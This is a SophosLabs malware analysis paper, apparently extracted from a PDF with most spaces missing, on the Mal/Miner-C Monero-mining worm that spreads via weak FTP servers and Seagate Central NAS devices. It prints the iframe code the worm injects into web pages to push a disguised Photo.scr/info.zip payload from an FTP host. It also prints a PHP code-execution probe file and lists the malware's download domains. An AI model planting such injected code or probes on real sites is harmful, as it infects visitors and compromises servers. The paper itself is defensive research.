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Cryptomining malware on NAS servers A couple of years ago, coin mining was a bubbling story. There were many threats that used infected machines to mine cryptocurrencies at the expense of the victim. Mining coins on someone else’s machine could provide the attacker with free CPU resources from each infected system, so there was no need to steal directly from the victim. The infected machine would also deliver the block rewards from the mining operations into the attacker’s wallet. The idea was perfect from the criminal’s point of view, but as time went on the average PC was no longer powerful enough to mine even a single coin. It was time to give up on this type of attack and turn the attention to other ways to make money, like ransomware. Recently a new malware family has found a way to use PCs efficiently to mine new types of cryptocurrency. Attila Marosi, Senior Threat Researcher, SophosLabs

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Page 1: Cryptomining malware on NAS servers - Sophos papers... · Cryptomining malware on NAS servers A couple of years ago, coin mining was a bubbling story. There were many threats that

CryptominingmalwareonNASserversAcoupleofyearsago,coinminingwasabubblingstory.Thereweremanythreatsthatusedinfectedmachinestominecryptocurrenciesattheexpenseofthevictim.Miningcoinsonsomeoneelse’smachinecouldprovidetheattackerwithfreeCPUresourcesfromeachinfectedsystem,sotherewasnoneedtostealdirectlyfromthevictim.Theinfectedmachinewouldalsodelivertheblockrewardsfromtheminingoperationsintotheattacker’swallet.

Theideawasperfectfromthecriminal’spointofview,butastimewentontheaveragePCwasnolongerpowerfulenoughtomineevenasinglecoin.Itwastimetogiveuponthistypeofattackandturntheattentiontootherwaystomakemoney,likeransomware.RecentlyanewmalwarefamilyhasfoundawaytousePCsefficientlytominenewtypesofcryptocurrency.

AttilaMarosi,SeniorThreatResearcher,SophosLabs

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ContentsIntroduction...................................................................................................................................3

Monero: the cryptocoin...............................................................................................................3

Mal/Miner-C..................................................................................................................................6

The main NSIS.........................................................................................................................6

tftp.exe.......................................................................................................................................9

Interesting notes....................................................................................................................10

Telemetry of the threat..........................................................................................................11

Seagate Central.........................................................................................................................12

Moneropool: mined coins.........................................................................................................15

Let’s do some math...............................................................................................................16

References.................................................................................................................................21

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IntroductionAcoupleofyearsago,coinminingwasabubblingstory.Thereweremanythreatsthatusedinfectedmachinestominecryptocurrenciesattheexpenseofthevictim.Miningcoinsonsomeoneelse’smachinecouldprovidetheattackerwithfreeCPUresourcesfromeachinfectedsystem,sotherewasnoneedtostealdirectlyfromthevictim.Theinfectedmachinewouldalsodelivertheblockrewardsfromtheminingoperationsintotheattacker’swallet.

Theideawasperfectfromthecriminal’spointofview,butastimewentontheaveragepersonalcomputerwasnolongerpowerfulenoughtomineevenasinglecoin.Itwastimetogiveuponthistypeofattackandturntheattentiontootherwaystomakemoney,likeransomware.RecentlyanewmalwarefamilyhasfoundawaytousePCsefficientlytominenewtypesofcryptocurrency.

Monero:thecryptocoinForBitcoin,themainchallengewithminingwasthedifficulty.Asmoreblockswerediscovered,thedifficultyassociatedwithminingnewcoinsalsoincreasedexponentially.AfteracertainpointtherewasnomeasurableprofittobegainedfromminingusingpersonalPCs.[1]Asyoucanseeinthepicturebelow,thedifficultyofminingincreaseddramaticallyafter2012.

Afterthatpointin2012,miningonPCsbecameunprofitableandcriminalslostinterest,sotheygaveuptryingtousevictims’computerstomineandturnedtheirattentiontoothertypesofmalwaretomakemoney.

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AlthoughminingBitcoinsisnolongerprofitable,thereareplentyofotherdigitalcurrenciesthatarequitenewandaresignificantlylessdifficulttomine.Manyofthemhaveverygoodcryptographicprotections,whichcaneffectivelyhidetheirusers.OneofthesecryptocurrenciesisMonero.[2]

MoneroisanewdigitalcryptocurrencythatiseasiertominethanBitcoin,asyoucanseebelow.

Inthisstate,miningthistypeofcryptocurrencyisprofitable.Criminalsrecognizedthisandstartedtospreadanewmalwarepayloadthatusesinfectedmachinestominecoinsattheexpenseofthesystemowner’sCPUandGPUresources.

Basedonmytestsandinformationavailableontheinternet,today’saverageCPUcancalculate50-1500hashespersecond.Thisisnotmuchonitsown,butifhundredsorthousandsarepooledtogetheritcouldbeenoughtobeofinteresttoacriminaltoexploit.

Mostoftoday’sPCshaveadedicatedvideomodule,orequipmenttoperformvideorenderingtaskscalledaGPU.Thismodulecanincreasethenumberofhashcalculationsdramatically.

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(https://www.cryptocoinsnews.com/scrypt-mining-nvidia-gtx-750-ti/)

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Mal/Miner-C

(hash:2a5b3c07e32b3b2b0c1ef33a10685027703440ec)

Thisthreatisinterestingnotonlyforthetechniqueitusestospreadandgetnewnodestohelpcalculatehashesforthecryptocurrency,butitalsoattemptstocopyitselftoopen(orweak)FTPfoldersinthehopeofbeingexecutedonothermachines.

ThemainNSISWehaveseenmanyversionsofthisthreat.Itisdevelopedandmaintainedcontinuously,butalltheversionsseemtoshareaspecificproperty:alltheversionsaredevelopedinNSIS[6].

Containsmultipleversionsofminers:

TheNSISscriptqueriesinformationaboutthehostsystem’sCPUtype(s)andGPUcapabilitiesbeforecreatingAutoRunentriesusedforrunningitself.(NSCpuCNMine32.exe/NSCpuCNMine64.exeandNSGpuCNMine.exe)66b965d1ee4013c80f7e0e27725e43f3d316325a NsGpuCNMiner.exe fd358cfe41c7aa3aa9e4cf62f832d8ae6baa8107 NsCpuCNMiner32.exe ce1fbf382e89146ea5a22ae551b68198c45f40e4 NsCpuCNMiner64.exe

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ThemalwaredownloadsthelatestversionoftheNSISscriptfromoneofthesehosts:

§ stafftest.ru§ hrtests.ru§ profetest.ru§ testpsy.ru§ pstests.ru§ qptest.ru§ prtests.ru§ jobtests.ru§ iqtesti.ru

Theresourcesrequestedaretypicallynamed:

§ stat.html§ test.html§ text.html

Thedownloadeddocumentcontainsalistwiththeminingpoolsforwhichitwillcontribute.Inourinvestigationitseemsmoneropool.comistheprimarypoolusedbythisthreat.stratum+tcp://mine.moneropool.com:3333 stratum+tcp://xmr.hashinvest.net:1111 stratum+tcp://monero.crypto-pool.fr:3333 stratum+tcp://mine.cryptoescrow.eu:3333

Thetmp.inifilecontainsthewalletstologtheeffortoftheminingoperations.Theminingpoolwillcountandfinallysendpaymenttotheseaccounts:

TheresourceswhicharedownloadedatruntimeareobfuscatedbyROT47withacustomcharacterset.

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Forexample,thestat.htmlfileoriginallylookslikethis:

Afterdecoding:

Thismethodgivesthecriminalsanopportunitytoupdatethemalwareeachtimeitisstarted.Sinceitgeneratesanewinitializationfilewhenitislaunched,ithelpsthemalwareavoidsecuritysolutions.Italsogivesthebotnetoperatorsachancetochangethepayloadofthethreatinthefuture,forexample,droppingransomwaretothevictim’smachineaftertheminingbusinessisnolongerprofitable.

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tftp.exeInterestingly,notalltheinstancesofthemalwarecontainthetftp.exefile.23ec304fab33af1cacf0a167aeb7465631286128 tftp.exe

ThisexecutablejustrandomlygeneratesIPaddressesandtriestologin.Ithasanembeddedlistofusernamesandpasswordsthatitusestotrytogainaccess.

It’sakindofworm:ifahostgetsinfected,itnotonlyservesitsownerbyminingdigitalcurrency,butitalsotriestoinfectothersystemsviaFTPservices.

IftheembeddedcredentialsareabletosuccessfullyconnecttoanFTPservice,ittriestocopyitselftotheserverandmodifyanexistingweb-relatedfilewiththeextension.htmor.phpinanattempttofurtherinfectvisitorstothehostsystem.

Ifafilewiththisextensionisfound,thethreatinjectssourcecodethatcreatesaniFramereferencingthefilesinfo.ziporPhoto.scr.

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Ifsomeoneopensapageinfectedlikethis,thepagewillpopupa“savefile”dialog.Thiskindofsocialengineeringisneededtoexecutethisthreat,asitcannotinfectmachinesautomatically,butitbringthethreatveryclosetothevictim.Ultimatelythisthreatneedstheusertoclickorrunthefileinorderforthenewsystemtobecomeinfected.

Thiswillbefurtherdescribedattheendofthispaper.Sincethisactionisnoisy,themajorityofpotentialdevicesthatcouldbeinfectedinthiswayhavealreadybeeninfected.Afteratime,thecriminalsbehindthisthreatmayopttonotspreadthis“tool”withmalware,asitmayproveineffectiveasamechanismforinfectingadditionalsystems.

InterestingnotesThereisascanner-orhacker-relatedservicethatIhavenodetailedinformationon,butIhaveobservedmanytimeswithinthelastyear.Itinvolvesplacingafileonthedevicewiththenamew0000000t.php.

Thisfilecontains:<?php echo base64_decode("bm9wZW5vcGVub3Bl"); ?>

Ifthefileuploadwassuccessful,requestingthisdocumentashttp://xxx.xxx.xxx.xxx/w0000000t.phpwouldresultinthefollowingresponse:nopenopenope

Thisprovidestheattackerwithproofofcodeexecutioncapabilitiesonthehost.

WhilesearchingforMal/Miner-C,wefoundmanyhostsidentifiedwiththismethod,indicatingthatthehostwasmostlikelycompromisedmorethanonce.Onthefirstoccasion,w0000000t.phpwasdeployed.Later,Mal/Miner-Cmayhavebeendeployedusingtheknowledgeofthehost’sabilitytoexecutecodeonthedevicebyinjectingtheiFrame.<?php echo base64_decode("bm9wZW5vcGVub3Bl"); ?> <iframe src=ftp://ftp:[email protected]//info.zip width=1 height=1 frameborder=0> </iframe> <iframe src=Photo.scr width=1 height=1 frameborder=0> </iframe>

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ThehighlightedcredentialwasusedinthiscasebyMal/Miner-Ctouploadaninstanceofinfo.zip,Photo.scpaswellasinfectthe.phpfile.

TelemetryofthethreatInthefirst6monthsofthisyearwecounted1,702,476individualinstancesofthisthreat.However,thenumberofuniqueIPaddressescorrespondingtotheseinstanceswasonly3,150.Thereasonforthisissimple:ThethreatistryingtologintoFTPserviceswithembeddedcredentials(anonymous,root,admin,etc)withdefaultandfrequentlyusedweakpasswords.Ifsuccessful-andtheaccounthaswriteaccesswithusingtheFTPservice-theywillcopyPhoto.scrandinfo.ziptoeachfolderrecursively.Thus,ifasingleFTPserverisinfected,itisinfectedwithmultipleinstances.

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SeagateCentral

ThisthreatisnottargetingtheSeagateCentraldevicespecifically;however,thedevicehasadesignflawthatallowsittobecompromised.Mostallofthesedeviceshavealreadybeeninfectedbythisthreat.

ThisishowtheSeagateCentraldeviceseparatedtheprivateandpublicfolders.

(Seagateprivateandpublicfolderconception)

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Asyoucansee,thedevicecanfacilitatemultiplelevelsofaccesses,includingmanyprivateaccountsaswellasabuiltinpublicaccount.Ifyoureadthemanualcarefully,youwillfindasetofpropertieslikethis:

§ BydefaulttheNASsystemprovidesapublicfolderforsharingdata.Thispublicfolderandaccountcannotbedeletedordeactivated.

§ Forprivatedata,onemustcreateusersandeachuserwillhaveassociatedfoldersandindividuallogincredentialsforthem.

§ Theadminuserhastheabilitytoenablethedeviceforremoteaccessorturnthisfeatureoffentirely.

§ Ifthedeviceisenabledforremoteaccess,alltheaccountswillbeavailableonthedevice,includingtheanonymoususer.Inthisstate,yourdeviceisopenforanyonetowritetoyourpublicfolder.

§ Note:Thedevicecanbeusedtostreamyourmediacontentfromaremotelocation,onlythepublicfoldercontentcanbestreamedinthisway.Manyotherfeaturesareonlyavailablefromthepublicfolder.Isuspectthatthisisoneofthereasonswhysomuchpersonaldataresidesinthepublicfolderasusersdonotswitchbetweenfolders.Theyutilizetheonewhichprovidesthemthemostflexibilityandfunctionality,andinmostcasesthatisthepublicone.

IfwelogintoaSeagateCentral,wewillseesomethinglikethis:

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ThereisafolderPhotosandafilePhoto.scr(sadly,mostoftheWindowsmachinesfileextensionsarenotdisplayed),anditalsohasadeceptiveiconthatisintendedtolooklikeatypicalWindowsfoldericon.

Anyonecouldbeeasilymisledtodoubleclickonthefileandcausetheprogramtobeginexecutiononthemachine.

Turningofftheremoteaccesscanpreventtheinfection,butalsomeanswelosetheabilitytoaccessthedeviceremotely.

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Moneropool:minedcoinsMoneropoolisaminingcommunitytomineMonerocryptocurrency.Itbasedonaminingframeworkcallednode-cryptonote-pool.

([7]https://moneropool.com/)

Luckily,ifyouknowthehashofthewalletyoucangetareportabouttheactivitiesofit.ThemostinterestingpartofthisreportistheTotalPaidandtheHashRate.Thehashrateisanaccumulatedvalue.Usingthiswecancalculatehowmanycoinscanbeminedinaday.

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TheTotalPaidisthemoneythatthecriminalsalreadyget,therealprofitofthenetwork.

Wealsogetthepaymenthistory,butwiththistechnologythereisnowaytotrackthepayments,whichisoneoftheprimaryfeaturesofthiscryptocurrency.

(addressinformation)

Let’sdosomemathBecausetheminingpoolsitesharesmuchofthisinformationandweknowthewalletaddressescollectingtherewards,wecandosomecalculationsaboutthenetworkanddiscoverwhatwas“mined”byit.

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Herearetheknownwallethashes:

LuckilytheframeworkusedbyMoneropool(node-cryptonote-pool)[3]hasagoodAPIinterfaceanddatacanbequeriedeasily:curl 'https://api.moneropool.com/stats_address?address=4ASTnar5DSKjPW6kD5D5wm4Ha9abEeUU2ik2D3KwBxTV88iV5AHTraxLpAU4ZGbzneh4ohNCjX1LBZYPtuzN3xKxGrtrU2g&longpoll=true' | python -m json.tool

Theresult:

Inthiscase,usingonlyonewalletaddress,theminingpoolsent4913,5XMRcryptocoinstothecriminal’swallet.AtthemomentoftheHTTPrequest,theaccumulatedhashrateoftheinfectedmachineswas33,370hashespersecond.

Ifweiterateallthewalletaddressesandcalculatethefullpowerofthenetwork,thenaddthemoneytheyhavealreadymined,wegetthis:

moneropool.comhaspaid58,577XMRtothem.AtthetimeofthecalculationtheexchangeratefromXMTtoEURis1.3EUR.

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([4]https://www.coingecko.com/en/price_charts/monero/eur)

Withtheexchangerateatthetimeitwasworth76,599EUR.

Furthermore,thenetworkoftheinfectedmachineshasanaccumulatedpowertocalculate431,000hashespersecond.Accordingtothecalculatorofthesite,itisenoughtomine327.7XMReachday.

Usingthesamemethodasbefore,wecanestimatethattheyearnapproximately428EUReachday.

Oneinterestingfinalnote:Theentiremonorepool.compoolhas861,000hashespersecondaccumulatedatthisrate.Andthenetworkoftheinfectedmachineshas431,000hashespersecond,whichmeansroughlyhalfofthetotalpooldoingtheminingisdoingsounintentionallyviainfectedsystems.

HereiswhatthefullMonerominingcommunitylookslike:2.5%ofthewholeminingcapacitycomesfrominfectedmachines.

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AnonymousFTPswithwriteaccessInthiscase,Mal/Miner-Cusedaverysimpleandwell-knownconfigurationmistaketospreaditselfallovertheworld.Wedecidedtoseejusthowmanyhomesandsmallbusinesseshadvulnerabledevicesbyscanningtheinternettolookforthem.

First,weusedasearchenginecalledCensystoenumeratejustunder3millionFTPserversworldwide.Thenwefedthislistintoascanningscriptthat:

• TriedtoconnectanonymouslytotheFTPservice.• Ifallowed,retrievedadirectorylistingfromthedevice(toprovideanindicationof

compromisebasedonfilenames).• Ifallowed,testedtoseeifwriteaccesswaspermitted.

Theresultswereasfollows:�

• IPnumbersofFTPserversonoriginallist:2,932,833• FTPserversactiveduringthetest:2,137,571• Activeserversallowinganonymousremoteaccess:207,110• Activeserverswherewriteaccesswasenabled:7,263• ServerscontaminatedwithMal/Miner-C:5,137

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�

Morethan70%oftheserverswherewriteaccesswasenabledhadalreadybeenfound,visitedand"borrowed"bycrookslookingforinnocent-soundingrepositoriesfortheirmalware.�

Ifyou'veeverassumedthatyou'retoosmallandinsignificanttobeofinteresttocybercriminals,andthusthatgettingsecuritysettingsrightisonlyreallyforbiggerorganizations,thisshouldconvinceyouotherwise.�

Verybluntlyput,ifyou'renotpartofthesolution,you'reverylikelytobecomepartoftheproblem.

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References[1]http://theconversation.com/bitcoin-mining-is-about-to-become-a-lot-less-profitable-58302

[2]https://en.wikipedia.org/wiki/Monero_(cryptocurrency)

[3]https://github.com/zone117x/node-cryptonote-pool

[4]https://www.coingecko.com/en/price_charts/monero/eur

[5]http://www.seagate.com/files/www-content/support-content/external-products/seagate-central/en-us/seagate-central-user-guide-us.pdf

[6]https://en.wikipedia.org/wiki/Nullsoft_Scriptable_Install_System

[7]https://moneropool.com/


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